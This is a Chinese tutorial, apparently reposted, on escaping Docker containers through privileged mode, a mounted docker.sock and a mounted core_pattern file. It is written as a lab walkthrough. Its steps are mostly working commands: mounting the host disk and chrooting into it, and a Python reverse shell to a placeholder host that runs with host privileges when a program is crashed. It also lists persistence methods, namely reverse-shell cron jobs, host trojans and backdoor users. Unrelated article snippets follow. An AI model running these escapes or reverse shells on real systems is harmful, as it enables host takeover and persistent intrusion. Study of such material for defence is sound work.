Docker容器逃逸-特权模式-危险挂载-Procfs

Docker容器逃逸-特权模式-危险挂载

Docker这个概念: Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

Docker会遇到的安全问题大概有三点:

  1. 不安全的第三方软件

    1. 例如开发者在代码中引入了存在漏洞版本的 log4j2 组件,然后将其打包成了业务镜像。这样即使代码没有漏洞,但因为引入了不安全的第三方组件也变得有漏洞了。
  2. 不安全的镜像

    1. 在公共镜像仓库比如 Docker Hub 里,会存在一些有漏洞的镜像或者恶意镜像,如果使用了这些镜像那就存在风险了。
  3. 敏感信息泄露

    1. 如果开发者为了开发、调试方便,可能会将数据库账号密码、云服务密钥之类的敏感数据打包到了镜像里,那别人获取到这个镜像后,就会导致敏感信息泄露了。

判断当前是否在Docker中:

没有权限:很难直接通过某个特征直接判断出来,需要经验和目标的综合表现来判断

https://blog.csdn.net/qq_23936389/article/details/131486643

有命令执行权限:查看/.dockerenv这个文件是否存在,存在就是Docker环境

Docker逃逸:

  1. 特权模式启动导致的Docker逃逸:

    启动靶场docker run --rm --privileged=true -it alpine

    判断特权cat /proc/self/status | grep CapEff

    在容器内部执行上面这条命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
    查看挂载磁盘设备fdisk -l
    挂载目录mkdir /test && mount /dev/vda1 /test​ #把/dev/vda1这个目录改成目标对应的存在的目录;
    #这一步就是因为由特权模式导致权限过高,导致可以把物理机的根目录直接挂载到Docker容器中的虚拟目录

    判断结果cd /test && ls

    image

    权限维持的方法:留下反弹shell的定时计划任务;留下主机木马;创建后门用户

​​

  1. 危险挂载启动导致的Docker逃逸:

启动靶场docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu​​
进入环境docker exec -it with_docker_sock /bin/bash​​
检测环境ls -lah /var/run/docker.sock​​
挂载逃逸:(下面这三条命命令就是在docker容器中,再下载一个docke)

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash chroot /host

上面这两条命令的目的是将当前正在运行的Docker容器的根文件系统切换到宿主机的根文件系统上:

  1. docker run -it -v /:/host ubuntu /bin/bash​:

    • docker run​: 运行一个新的容器。
    • -it​: 分配一个伪终端并保持标准输入打开以便与容器进行交互。
    • -v /:/host​: 将宿主机的根文件系统挂载到容器内的/host​目录。这个挂载的操作允许容器内部访问宿主机的文件系统。
    • ubuntu​: 指定容器的镜像为Ubuntu。
    • /bin/bash​: 在容器内启动bash shell。
  2. chroot /host​:

    • chroot​: 更改根目录到指定目录。
    • /host​: 指定切换到的新根目录。

image

这两个命令的结合效果是,在一个新的Ubuntu容器中,首先将宿主机的根文件系统挂载到容器内的/host​目录上,
然后通过chroot​命令将容器的根目录切换到宿主机的根目录上,从而使得在容器中执行的命令会影响到宿主机的文件系统。
这种操作需要在宿主机上有足够的权限才能执行。

  1. 挂载了宿主机Procfs系统导致的Docker逃逸

    启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

    检测环境:find / -name core_pattern

    image

    查看当前容器在宿主机上的绝对路径:cat /proc/mounts | grep docker

    image

    写入文件:

    cat >/tmp/.x.py << EOF#!/usr/bin/pythonimport osimport ptyimport socketlhost = "xx.xx.xx.xx"lport = xxxxdef main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()if **name** == "__main__":main()EOF
    

    image

    chmod +x /tmp/.x.py

    echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore " >/host/proc/sys/kernel/core_pattern

    image

    上面这条echo命令中容器在宿主机的绝对路径要根据自己的环境改变;后面重定向符号到哪里的那个路径也是根据find / -name core_pattern​命令的结果决定的

    cat >/tmp/x.c << EOF#include <stdio.h>int main(void){int *a = NULL;*a = 1;return 0;}EOF
    

    image

    gcc x.c -o x

    开启监听

    nc -lvvp xxxx

    image

    执行文件:

    ./x

    这反弹出来的权限就会是物理机的权限了

Tips:

  1. docker images 查看系统中docker一共拉取下来的镜像文件有哪些
  2. 特权模式启动并不是指Root用户启动,而是指在启动镜像的时候用了 --rm --privileged=true 这个命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/396.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue3【实用教程】侦听器 watch,自动侦听 watchEffect(),$watch,手动停止侦听器

watch 侦听明确指定的状态变化执行回调 实战场景 侦听路由传参的变化&#xff0c;重新访问接口&#xff0c;刷新页面侦听接口返回值的变化&#xff0c;刷新页面 侦听值类型数据 // 选项式 API watch: {// 每当 question 改变时&#xff0c;这个函数就会执行question(newQue…

京东微服务microApp使用总结

前言 基于现有业务门户进行微服务基础平台搭建 主应用框架&#xff1a;vue3vite 子应用框架&#xff1a;vue2webpack / vue3vite在这里插入代码片 本地调试即可&#xff1a;主应用子应用进行打通&#xff08;注意&#xff1a;两者都是vue3vite&#xff09; 问题总结 1.嵌入…

多数元素(C++)

给定一个大小为 n 的数组 nums &#xff0c;返回其中的多数元素。多数元素是指在数组中出现次数 大于 ⌊ n/2 ⌋ 的元素。 你可以假设数组是非空的&#xff0c;并且给定的数组总是存在多数元素。 示例 1&#xff1a; 输入&#xff1a;nums [3,2,3] 输出&#xff1a;3 示例 …

pytorch框架下的逻辑回归代码解读

# -*- coding: utf-8 -*- """ # file name : lesson-05-Logsitic-Regression.py # author : tingsongyu # date : 2019-09-03 10:08:00 # brief : 逻辑回归模型训练 """ import torch import torch.nn as nn import matplotlib.…

压电式微机械超声换能器(PMUT)可替代传统超声换能器 下游应用范围广泛

压电式微机械超声换能器&#xff08;PMUT&#xff09;可替代传统超声换能器 下游应用范围广泛 压电式微机械超声换能器&#xff08;PMUT&#xff09;&#xff0c;是一种基于正逆压电效应与微机械&#xff08;MEMS&#xff09;技术制造而成的发射、接收超声波以实现检测的装置。…

个人开发 App 最简单方法:使用现代开发工具和平台

在移动应用市场的蓬勃发展下&#xff0c;个人开发者也有机会将自己的创意转化为实际的应用程序&#xff0c;并通过应用商店实现盈利。然而&#xff0c;对于许多初学者来说&#xff0c;如何开始个人开发一个应用可能会感到困惑。本文将介绍个人开发 App 的最简单方法&#xff0c…

Zynq7000系列中的IOP模块时钟使用

IOP模块的时钟&#xff08;用于内部控制器逻辑&#xff09;可以由时钟子系统生成&#xff0c;或者在某些情况下&#xff0c;由IOP的外部接口生成。在所有情况下&#xff0c;IOP的控制和状态寄存器都是由其AMBA接口时钟&#xff08;CPU_1x&#xff09;驱动的。有时&#xff0c;C…

ERESOLVE overriding peer dependency npm install错误

错误提示 npm ERR! Fix the upstream dependency conflict, or retry npm ERR! this command with --force, or --legacy-peer-deps npm ERR! to accept an incorrect (and potentially broken) dependency resolution. 根据提示解决办法之一 npm i --legacy-peer-deps –legac…

ESA SNAP更新失败

snap用起来真是一言难尽&#xff0c;老师原话&#xff1a;很拉&#xff0c;不更新进行处理又会报错&#xff08;本科的时候就已经体验过了&#xff09;&#xff0c;但是更新又会发现老是失败&#xff0c;just pop up a window: try again later、unable to connect to update c…

日本语自然语言处理中的分词库 - GiNZA

日本语自然语言处理中的分词库 - GiNZA 0. 引言1. 日本语分词库2. GiNZA3. 使用 GiNZA 0. 引言 RAG 场景下提供精确的一个手法就是使用 Hybrid Search&#xff0c;Hybrid Search的另外一个检索就是全文检索。 使用 Elastic Search 进行全文检索的方案应该比较成熟&#xff0c…

️️️Vue3+Element-Plus二次封装一个可定制化的table组件

前言 为什么需要二次封装 开发后台管理系统,会接触到很多表格和表单,一但表格表单多起来,仅仅只需要一小部分改变&#xff0c;都需要在中重写一大堆代码,许多重复逻辑,我们可以把重复逻辑抽离出来二次封装一个组件 使用,减少在开发中需要编写的代码。 为什么需要定制化 每个…

前端请求404,后端保无此方法

1、微信小程序前端路径404 2、后端报无此路径 3、查看路径下对应的方法 发现忘了在list方法前加GetMapping(“/list”)&#xff0c;加上即可

Eclipse 配置JDK版本,Eclipse Maven install 时使用的JDK版本

Eclipse配置JDK版本 Eclipse 配置JDK版本的地方&#xff1f; 在Eclipse中配置JDK版本的步骤如下&#xff1a; 打开Eclipse IDE。转到菜单栏并选择 “Window”&#xff08;窗口&#xff09;选项。在下拉菜单中选择 “Preferences”&#xff08;首选项&#xff09;&#xff0c;或…

【pyhon】while语句的题目

1.计算1至100的偶数之和 sum_even 0 # 初始化偶数之和为0 i 1 # 从1开始循环 while i < 100: # 当i小于或等于100时&#xff0c;继续循环 if i % 2 0: # 如果i是偶数 sum_even i # 将i加到偶数之和上 i 1 # i自增1 print(“1至100的偶数之和为:”, sum_even) 给出乘…

计算机网络练习-计算机网络体系结构与参考模型

计算机网络分层结构 ----------------------------------------------------------------------------------------------------------------------------- 1.在ISO/OSI参考模型中&#xff0c;实现两个相邻结点间流量控制功能的是( )。 A.物理层 B. 数据链路层 C.网络层 D.传…

计算机网络—TCP协议详解:协议构成、深度解析(2)

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;マリンブルーの庭園—ずっと真夜中でいいのに。 0:34━━━━━━️&#x1f49f;──────── 3:34 &#x1f504; ◀️…

M系Mac关闭SIP

文章目录 M系Mac关闭SIP一&#xff1a;查看SIP状态二&#xff1a;关闭SIP步骤 M系Mac关闭SIP 一&#xff1a;查看SIP状态 1、使用终端 打开终端 输入csrutil status&#xff0c;回车 你会看到以下信息中的一个&#xff0c;指示SIP状态 已打开 System Integrity Protection s…

Qt/C++音视频开发70-无感切换通道/无缝切换播放视频/多通道流畅切换/不同视频打开无缝切换

一、前言 之前就写过这个方案&#xff0c;当时做的是ffmpeg内核版本&#xff0c;由于ffmpeg内核解析都是代码实现&#xff0c;所以无缝切换非常完美&#xff0c;看不到丝毫的中间切换过程&#xff0c;看起来就像是在一个通道画面中。其实这种切换只能说是取巧办法&#xff0c;…

Spire.PDF for .NET【文档操作】演示:合并 PDF 文档

需要合并 PDF 的原因有很多。例如&#xff0c;合并 PDF 文件允许您打印单个文件&#xff0c;而不是为打印机排队多个文档&#xff0c;组合相关文件通过减少要搜索和组织的文件数量来简化管理和存储多个文档的过程。在本文中&#xff0c;您将学习如何使用Spire.PDF for .NET将多…

socket编程实现TCP通信

socket编程实现TCP通信 tcp_client.cc #include <iostream> #include <cstring> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <unistd.h&…